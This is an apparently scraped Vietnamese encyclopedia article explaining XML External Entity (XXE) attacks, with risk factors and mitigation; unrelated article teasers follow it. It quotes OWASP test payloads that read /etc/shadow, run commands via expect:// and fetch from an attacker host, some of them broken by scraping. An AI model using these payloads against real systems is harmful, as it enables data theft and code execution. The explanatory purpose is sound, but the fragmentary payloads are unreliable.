✨Tấn công thực thể bên ngoài XML

Tấn công thực thể bên ngoài XML

Tấn công thực thể bên ngoài XML, hay đơn giản là tấn công XXE, là một kiểu tấn công chống lại một ứng dụng phân tích cú pháp đầu vào XML. Cuộc tấn công này xảy ra khi đầu vào XML chứa tham chiếu đến một thực thể bên ngoài được xử lý bởi trình phân tích cú pháp XML được cấu hình yếu. Cuộc tấn công này có thể dẫn đến việc tiết lộ dữ liệu bí mật, các cuộc tấn công DoS, giả mạo yêu cầu phía máy chủ, quét cổng từ góc độ của máy nơi đặt trình phân tích cú pháp và các tác động khác đến hệ thống.

Mô tả

Tiêu chuẩn XML 1.0 xác định cấu trúc của một tài liệu XML. Tiêu chuẩn xác định một khái niệm gọi là thực thể, là thuật ngữ dùng để chỉ nhiều loại đơn vị dữ liệu. Một trong những loại thực thể đó là thực thể được phân tích cú pháp chung/tham số bên ngoài, thường được rút ngắn thành thực thể bên ngoài, có thể truy cập nội dung cục bộ hoặc từ xa thông qua mã định danh hệ thống được khai báo. Mã định danh hệ thống được coi là một URI có thể được bộ xử lý XML truy cập khi xử lý thực thể. Sau đó, bộ xử lý XML sẽ thay thế các lần xuất hiện của thực thể bên ngoài được đặt tên bằng nội dung được tham chiếu bởi mã định danh hệ thống. Nếu mã định danh hệ thống chứa dữ liệu bị nhiễm độc và bộ xử lý XML hủy tham chiếu dữ liệu bị nhiễm độc này thì bộ xử lý XML có thể tiết lộ thông tin bí mật mà ứng dụng thường không thể truy cập được. Các vectơ tấn công tương tự áp dụng việc sử dụng DTD bên ngoài, biểu định kiểu bên ngoài, lược đồ bên ngoài, v.v., khi được đưa vào, sẽ cho phép các cuộc tấn công kiểu bao gồm tài nguyên bên ngoài tương tự.

Các cuộc tấn công có thể bao gồm tiết lộ các tệp cục bộ, có thể chứa dữ liệu nhạy cảm như mật khẩu hoặc dữ liệu riêng tư của người dùng, sử dụng lược đồ file:// hoặc đường dẫn tương đối trong mã nhận dạng hệ thống. Vì cuộc tấn công xảy ra liên quan đến ứng dụng đang xử lý tài liệu XML nên kẻ tấn công có thể sử dụng ứng dụng đáng tin cậy này để chuyển sang các hệ thống nội bộ khác, có thể tiết lộ nội dung nội bộ khác thông qua các yêu cầu HTTP hoặc khởi động một cuộc tấn công CSRF vào bất kỳ dịch vụ nội bộ nào không được bảo vệ. Trong một số trường hợp, thư viện bộ xử lý XML dễ gặp phải các vấn đề hỏng bộ nhớ phía máy khách có thể bị khai thác bằng cách hủy tham chiếu URI độc hại, có thể cho phép thực thi mã tùy ý trong tài khoản ứng dụng. Các cuộc tấn công khác có thể truy cập vào tài nguyên cục bộ và không ngừng trả về dữ liệu, có thể ảnh hưởng đến tính khả dụng của ứng dụng nếu có quá nhiều luồng hoặc quy trình không được phát hành.

Ứng dụng không cần phải trả lại phản hồi rõ ràng cho kẻ tấn công để dễ bị tiết lộ thông tin. Kẻ tấn công có thể tận dụng thông tin DNS để lọc dữ liệu thông qua tên miền phụ đến máy chủ DNS dưới sự kiểm soát của chúng.

Các yếu tố rủi ro

  • Ứng dụng phân tích các tài liệu XML.
  • Dữ liệu bị nhiễm độc được cho phép trong phần định danh hệ thống của thực thể, trong định nghĩa loại tài liệu (DTD).
  • Bộ xử lý XML được cấu hình để xác thực và xử lý DTD.
  • Bộ xử lý XML được cấu hình để phân giải các thực thể bên ngoài trong DTD.

Ví dụ

Các ví dụ bên dưới là từ Thử nghiệm chèn XML của OWASP (WSTG-INPV-07).

Truy cập tài nguyên cục bộ có thể không quay trở lại

]>&xxe;

Thực thi mã từ xa

Khi mô-đun PHP "mong đợi" được tải, việc thực thi mã từ xa có thể thực hiện được với tải trọng được sửa đổi. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]>

&xxe; mypass

Tiết lộ /etc/passwd hoặc các tệp được nhắm mục tiêu khác

]>&xxe;

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [
<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>&xxe;

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [
<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>&xxe;

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [
<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]>&xxe;

Giảm nhẹ

Vì toàn bộ tài liệu XML được truyền từ một máy khách không đáng tin cậy nên thường không thể xác thực có chọn lọc hoặc thoát khỏi dữ liệu bị nhiễm độc trong mã định danh hệ thống trong DTD. Bộ xử lý XML có thể được cấu hình để sử dụng DTD tĩnh cục bộ và không cho phép bất kỳ DTD nào được khai báo có trong tài liệu XML.

👁️ 0 | 🔗 | 💖 | ✨ | 🌍 | ⌚
**Tấn công thực thể bên ngoài XML**, hay đơn giản là **tấn công XXE**, là một kiểu tấn công chống lại một ứng dụng phân tích cú pháp đầu vào XML. Cuộc tấn công này
Đèn pin siêu sáng XML-T6 nhôm nguyên khối chiếu xa chống nước cao cấp MIN166 Đèn pin siêu sáng XML-T6 là sản phẩm được thiết kế tiện dụng, thông minh và gọn nhẹ có phạm
**IPTV** (tiếng Anh viết tắt của _Internet Protocol Television_, có nghĩa: Truyền hình giao thức Internet) là một hệ thống dịch vụ truyền hình kỹ thuật số được phát đi nhờ vào giao thức Internet
**Search Engine Optimization - Tối ưu hóa công cụ tìm kiếm (SEO)** là quá trình tăng chất lượng và lưu lượng truy cập website bằng cách tăng khả năng hiển thị của website hoặc webpage
nhỏ|Tổng hợp giọng nói Trên máy tính, **tổng hợp giọng nói** là việc tạo ra giọng nói của người từ đầu vào là văn bản hay các mã hóa việc phát âm. Hệ thống này
nhỏ|300x300px|Mạng lưới điện **Mạng lưới điện thông minh** là mạng lưới được hiện đại hóa để sử dụng hoặc áp dụng kỹ thuật số thông tin và công nghệ truyền thông để thu thập thông
nhỏ|Java 2 **Java 2 Platform, Enterprise Edition** (_Nền tảng Java, phiên bản 2 - phiên bản công nghiệp_ là công nghệ của Sun Microsystems) hay **Java EE** (gọi tắt là J2EE) là một nền lập
**Panamá**, tên gọi chính thức là nước **Cộng hòa Panamá** (), là một quốc gia tại Trung Mỹ. Quốc gia này có biên giới với Costa Rica về phía tây, Colombia về phía đông nam,
thumb|e-reader [[Amazon Kindle|Kindle Keyboard của Amazon đang hiển thị một trang e-book]] **Sách điện tử** (tiếng Anh: **electronic book**; viết tắt: **e-book** hay **eBook**), là một quyển sách được xuất bản và phát hành cho
Trong hoạt động tính toán máy tính, **dữ liệu liên kết** mô tả một phương thức tạo ra dữ liệu có cấu trúc để có thể liên kết được với nhau và trở nên có
**Max Karl Ernst Ludwig Planck** (23 tháng 4 năm 1858 – 4 tháng 10 năm 1947) là một nhà vật lý người Đức, được xem là người sáng lập cơ học lượng tử và do
thumb|Sự tăng trưởng và số hóa các khả năng lưu trữ thông tin trên toàn cầu **Dữ liệu lớn** (Tiếng Anh: **Big data**) là một thuật ngữ cho việc xử lý một tập hợp dữ
**Nessus** là một công cụ quét lỗ hổng bảo mật độc quyền được phát triển bởi Công ty An ninh mạng Tenable, được phát hành miễn phí cho việc sử dụng phi thương mại. Theo
**Java** (phiên âm Tiếng Việt: "_Gia-va_") là một ngôn ngữ lập trình hướng đối tượng, dựa trên lớp được thiết kế để có càng ít phụ thuộc thực thi càng tốt. Nó là ngôn ngữ
**Novell, Inc** _(phát âm: /nvɛl/)_ là một công ty
**Mạng từ** là một cơ sở dữ liệu từ vựng tiếng Anh. Nó nhóm các từ tiếng Anh thành các tập hợp đồng nghĩa gọi là loạt đồng nghĩa, cung cấp các định nghĩa ngắn
thumb|Một ví dụ về lấy dữ liệu đầu ra từ truy vấn cơ sở dữ liệu SQL. **Cơ sở dữ liệu** () là một tập hợp các dữ liệu có tổ chức liên quan đến
nhỏ|Một tập tin bitmap **Định dạng tập tin** là một cách chuẩn để thông tin được mã hóa trong việc lưu trữ trong các file. Nó chỉ định cách các bit được sử dụng để
thumb|Minh họa mã nguồn [[Java (programming language)|Java với comment **mở đầu** được biểu thị bằng màu **đỏ** và comment **nội dòng** bằng màu **lục**. **Mã chương trình** là bằng màu **lam**.]]Trong lập
Apache **Log4j** là một trình ghi nhật ký trên nền tảng Java. Ban đầu, Log4j được phát triển bởi Ceki Gülcü và hiện nay là một dự án của Quỹ Phần mềm Apache. Log4j là
phải|nhỏ|402x402px|[[Mã nguồn của một chương trình máy tính đơn giản được viết bằng ngôn ngữ lập trình C. Khi được biên dịch và chạy, nó sẽ cho kết quả "Hello, world!".]] **Ngôn ngữ lập trình**
**Mật mã học** là một ngành có lịch sử từ hàng nghìn năm nay. Trong phần lớn thời gian phát triển của mình (ngoại trừ vài thập kỷ trở lại đây), **lịch sử mật mã
**Internet Explorer** (trước đây là **Microsoft Internet Explorer**; viết tắt là **IE**), là một dòng trình duyệt web giao diện đồ họa đã ngừng phát triển do Microsoft phát triển và là một thành phần
**Máy truy tìm dữ liệu trực tuyến** hay **máy tìm kiếm** hay **cỗ máy tìm kiếm** (tiếng Anh: _search engine_), hay còn được gọi với nghĩa rộng hơn là **công cụ tìm kiếm** (_search tool_),
Lịch sử của quốc gia Liban. ### Lịch sử Liban từ buổi đầu tới khi độc lập năm 1943 Liban là quê hương của người Phoenicia, một dân tộc đã di cư tới đây bằng
**Quản lý khách hàng tiềm năng** là tập hợp các phương pháp, hệ thống và thực tiễn được thiết kế để tạo ra khách hàng kinh doanh tiềm năng mới, thường được điều hành thông
**Du Đại Du** (chữ Hán: 俞大猷, 1503 – 1580), tự **Chí Phụ**, tự khác **Tốn Nghiêu**, hiệu **Hư Giang**, hộ tịch là huyện Tấn Giang, phủ Tuyền Châu, Phúc Kiến, nguyên tịch là huyện Hoắc
**SWIFT** (Hiệp hội Viễn thông Tài chính Liên ngân hàng Toàn cầu) là một tổ chức hợp tác của Bỉ cung cấp các dịch vụ liên quan đến việc thực hiện các giao dịch tài
__NOTOC__ Trang này liệt kê những sự kiện quan trọng vào **tháng 7 năm 2005**. ## Thứ tư, ngày 6 tháng 7
Xe điện ngầm Underground, sơn để quảng cáo
Trong lập trình, **Base64** là nhóm lược đồ mã hóa nhị phân thành văn bản đại diện cho dữ liệu nhị phân (cụ thể hơn là chuỗi byte 8 bit) ở định dạng chuỗi ASCII
**Microsoft Office** (bây giờ là Microsoft 365) là tên của một bộ ứng dụng văn phòng gồm các chương trình, máy chủ, và dịch vụ phát triển bởi Microsoft, được giới thiệu lần đầu bởi
**C#** (**C Sharp**, đọc là _"xi-sáp"_) là một ngôn ngữ lập trình hướng đối tượng đa năng, mạnh mẽ được phát triển bởi Microsoft, C# là phần khởi đầu cho kế hoạch .NET của họ.
Cơ sở dữ liệu **NoSQL** (tên gốc là "Non SQL" (phi SQL) hoặc "non relational" (phi quan hệ)) cung cấp một cơ chế để lưu trữ và truy xuất dữ liệu được mô hình hóa
**SDL** **Passolo** là một công cụ bản địa hóa phần mềm trực quan chuyên ngành được phát triển để cho phép dịch các giao diện người dùng. Phiên bản hiện tại là Passolo 2015. ##